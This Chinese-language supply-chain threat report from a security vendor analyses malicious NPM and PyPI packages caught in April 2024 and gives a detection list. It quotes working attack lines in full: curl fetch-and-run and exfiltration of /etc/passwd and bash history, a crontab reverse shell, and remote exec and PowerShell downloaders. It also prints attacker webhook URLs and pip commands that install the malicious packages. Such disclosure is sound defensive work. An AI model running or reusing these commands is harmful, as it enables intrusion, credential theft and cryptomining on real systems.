概述
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。
4月份恶意组件数量及仓库分布
4月份恶意组件每日统计
4月份恶意组件态势统计
针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。
攻击方式统计
投毒组件攻击方式主要包括:
恶意文件执行
恶意文件下载
代码混淆执行
恶意文件释放
Shell命令执行
其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。
恶意行为统计
在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。
投毒案例分析
本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。
Part 1
4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。
恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。
收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process\_data
该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。
截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。
以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。
以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。
pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple
Part 2
4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。
bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'
恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。
第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)
curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev
此外在4月4号,我们在Pypi仓库捕获到的恶意Python包lyft-core(版本号999.3.9)通样也使用以上极为相似的恶意bash代码进行投毒攻击(如下所示)。
Part 3
4月4~7号,投毒者在Pypi官方仓库投放2个伪装成知名Python UserAgent解析库(user-agents)的恶意包(user-agents-parser和user-agents-parsers),这两个恶意包内置了包含Linux反向Shell后门代码的Python模块user-agents。当安装这些恶意包时,恶意包会释放出后门user-agents模块,并替换掉受害者系统环境中原有user-agents模块,实现Python模块投毒。
以user-agents-parser为例,在2.2.2版本安装包中,user-agents/parsers.py在文件末尾包含恶意代码(如下图所示)。
__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")
恶意代码通过linux crontab将反向Shell后门写入linux计划任务,尝试实现后门持久化。如果受害者系统为Linux系统,系统bash shell将反弹到投毒者服务器(95.179.177.74:1337)上,投毒者可对受害者系统进行远程Shell后门控制。
截止目前,这两个恶意Python包总下载量为904次。
以user-agents-parsers为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。
以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。
pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple
Part 4
4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包,涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者,恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。
以multihttps恶意包2.32.5版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将触发执行Python安装包setup.py中第一阶段恶意代码(如下图所示)。
第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。
`from urllib import request``package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"``package_name = request.urlopen(package_url).read()``exec(base64.b64decode(package_name))`
第二阶段恶意代码经过base64编码,如下所示:
Base64解码后还原出真实的第二阶段恶意代码,如下所示:
经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。
https://github.com/can-kat/cstealer/blob/main/cstealer.py
该CStealer后门主要包括以下功能:
1. 收集系统敏感信息
2. 收集浏览器隐私数据
3. 收集数字钱包应用数据
4. 系统屏幕截屏
5. 开机自启动
关于CStealer后门详细分析可参考《恶意Py包伪装HTTP组件开展CStealer窃密后门攻击》
如下所示,CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。
https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW
截至目前,这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。
以multihttps为例,目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。
以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。
pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple
Part 5
4月15~18号,攻击者在NPM官方仓库发布包名为djs-log,版本号为1.1.0和1.1.1的恶意包,通过伪装成知名NPM discord组件discord.js(下图所示)进行恶意木马投毒攻击。
在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中直接执行shell命令。
djs-log恶意包的index.js被混淆保护,混淆代码如下所示:
对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe到系统中执行。
Uninstall-Node.js.exe在Virustotal上被3款杀毒引擎判定为恶意木马文件。
此外,对于 Python组件reqargs在官方Pypi上连续发布4个不同版本恶意包。该组件安装包的setup.py文件被植入远程下载执行木马文件的恶意代码(如下图所示)。
恶意代码从Dropbox服务器上下载新的木马程序windows.exe到受害者系统临时目录上执行。
https://cdn.discordapp.com/attachments/1227878114533572611/1227920673457045554/ConsoleApplication2.exe?ex=662a293e&is=6617b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018
该木马程序在virustotal上被多款杀毒引擎检出(如下图所示)。
Part 6
4月9号,攻击者在Pypi官方仓库投放包名为useragent-api的恶意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。
第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。
import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)
第二阶段恶意代码内容如下所示:
第三阶段恶意代码采用PowerShell编写,并通过base64编码,解码后为:
$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code
PowerShell代码会进一步从攻击者服务器拉取第四阶段PowerShell代码(https://rentry.co/7w5v9p4k/raw)并执行,该PowerShell恶意代码主要包含5大功能:
1.收集用户口令数据
2.收集数字钱包应用数据
3.篡改劫持数字钱包应用
4.系统屏幕截屏
5.数据外传
根据内置关键字匹配规则(如下如所示),收集所有命中匹配敏感关键字(数字钱包助记词、数字钱包登录口令、账户私钥等)的文件。
针对主流数字钱包(Exodus、Electrum、Monero)的应用数据目录进行全量拷贝(如下所示)。
此外,恶意代码还会远程下载包含后门的app.asar文件,并尝试杀掉Exodus钱包应用进程后,使用恶意app.asar替换原有Exodus钱包app.asar文件,从而实现钱包应用程序的持久化劫持。
https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD
如下所示,恶意代码还会调用PowerShell接口对受害者系统屏幕进行截屏操作并生成png图片。
数据外传
对于收集的数字钱包应用数据进行zip打包,最后将zip压缩包和系统截屏图片通过curl传输到攻击者远程服务接口(如下图所示)。
https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0
截至目前,该恶意Py包在Pypi官方仓库上已被下载860次。
Part 7
4月10号,投毒者通过伪装Python colorprint模块(下图所示)在Pypi官方仓库投放4个不同版本的恶意包(py-colorprinting),这些恶意包内置了静默下载执行数字货币挖矿后门的colorprint python模块。当安装这些恶意包时,恶意包会释放出colorprint后门模块,并替换掉受害者系统环境中原有colorprint模块,实现Python模块投毒。
以py-colorprinting 0.1.5版本为例,colorpr/__init__.py默认加载core.py,将触发执行包含恶意代码的InitializeConsole函数(如下图所示)。恶意代码启动线程从投毒者服务器上下载挖矿程序压缩包ore-miner.zip,解压ore-miner.zip后执行ORE币挖矿程序ore-miner.exe。
https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip
ore-miner是基于Electron开发的挖矿客户端,整体程序结构如下所示:
投毒者使用的矿池地址为:
`https://jupiter-frontend.rpcpool.com``https://raydium-raydium-5ad5.mainnet.rpcpool.com`
截止目前,该恶意Python包总下载量为864次。
目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。
以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。
pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple
排查方式
针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。
`[` `{` `"product": "monopulips",` `"version": "[0.1.0, 0.1.5]",` `"language": "javascript",` `"id": "XMIRROR-MAL45-31C14E5C",` `"description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",` `"release_date": "2024-04-02"` `},` `{` `"product": "lyft-core",` `"version": "[999.3.9]",` `"language": "python",` `"id": "XMIRROR-MALF5-C41B3019",` `"description": "Python组件lyft-core存在恶意代码,执行恶意bash命令执行。",` `"release_date": "2024-04-04"` `},` `{` `"product": "user-agents-parsers",` `"version": "[2.2.1]",` `"language": "python",` `"id": "XMIRROR-MAL45-A43ABEDD",` `"description": "Python组件user-agents-parsers存在恶意代码,利用反向shell后门攻击Linux系统开发者。",` `"release_date": "2024-04-04"` `},` `{` `"product": "user-agents-parser",` `"version": "[2.2.2, 2.2.3]",` `"language": "python",` `"id": "XMIRROR-MAL45-38C6CDD2",` `"description": "Python组件user-agents-parser存在恶意代码,利用反向shell后门攻击Linux系统开发者。",` `"release_date": "2024-04-07"` `},` `{` `"product": "useragent-api",` `"version": "[3.1.1, 3.1.4, 3.1.5]",` `"language": "python",` `"id": "XMIRROR-MAL45-DF933A23",` `"description": "Python组件useragent-api存在恶意代码,劫持数字货币钱包应用。",` `"release_date": "2024-04-09"` `},` `{` `"product": "py-colorprinting",` `"version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",` `"language": "python",` `"id": "XMIRROR-MAL45-62B107C3",` `"description": "Python组件py-colorprinting存在恶意代码,远程下载并执行挖矿后门。",` `"release_date": "2024-04-10"` `},` `{` `"product": "rhermann-sds",` `"version": "[99.0]",` `"language": "python",` `"id": "XMIRROR-MAL45-CC99C1A2",` `"description": "Python组件requests-http存在恶意代码,窃取系统敏感信息。",` `"release_date": "2024-04-15"` `},` `{` `"product": "rhermann-ct",` `"version": "[99.0]",` `"language": "python",` `"id": "XMIRROR-MAL45-10EEFB21",` `"description": "Python组件rhermann-ct存在恶意代码,窃取系统敏感信息。",` `"release_date": "2024-04-15"` `},` `{` `"product": "rhermann",` `"version": "[99.0]",` `"language": "python",` `"id": "XMIRROR-MAL45-7BFF9F62",` `"description": "Python组件rhermann存在恶意代码,窃取系统敏感信息。",` `"release_date": "2024-04-16"` `},` `{` `"product": "rhermann-sdsm",` `"version": "[99.0]",` `"language": "python",` `"id": "XMIRROR-MAL45-208AAF32",` `"description": "Python组件rhermann-sdsm存在恶意代码,窃取系统敏感信息。",` `"release_date": "2024-04-16"` `},` `{` `"product": "djs-log",` `"version": "[1.1.0, 1.1.1]",` `"language": "javascript",` `"id": "XMIRROR-MAL45-579E44E0",` `"description": "NPM组件djs-log存在恶意代码,远程下载并执行恶意木马程序。",` `"release_date": "2024-04-19"` `},` `{` `"product": "multiplerequests",` `"version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",` `"language": "python",` `"id": "XMIRROR-MAL45-7DF79312",` `"description": "Python组件multiplerequests存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",` `"release_date": "2024-04-24"` `},` `{` `"product": "multihttp",` `"version": "[2.31.12]",` `"language": "python",` `"id": "XMIRROR-MAL45-B1487A8",` `"description": "Python组件multihttp存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",` `"release_date": "2024-04-26"` `},` `{` `"product": "multihttps",` `"version": "[2.31.11]",` `"language": "python",` `"id": "XMIRROR-MAL45-14D9F4B5",` `"description": "Python组件multihttps存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",` `"release_date": "2024-04-26"` `}``]`` `
总结
根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标,敏感数据窃取仍是主流攻击,此外,针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。
悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心,依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析,为用户智能精准预警“与我有关”的数字供应链安全情报。
+
**推荐阅读
**
关于“悬镜安全”
悬镜安全,起源于北京大学网络安全技术研究团队”XMIRROR”,创始人子芽。作为数字供应链安全开拓者和DevSecOps敏捷安全领导者,始终专注于以“代码疫苗”技术为内核,凭借原创专利级”全流程数字供应链安全赋能平台+敏捷安全工具链+供应链安全情报服务”的第三代DevSecOps数字供应链安全管理体系,创新赋能金融、车联网、通信、能源、政企、智能制造和泛互联网等行业用户,构筑起适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系,持续守护中国数字供应链安全。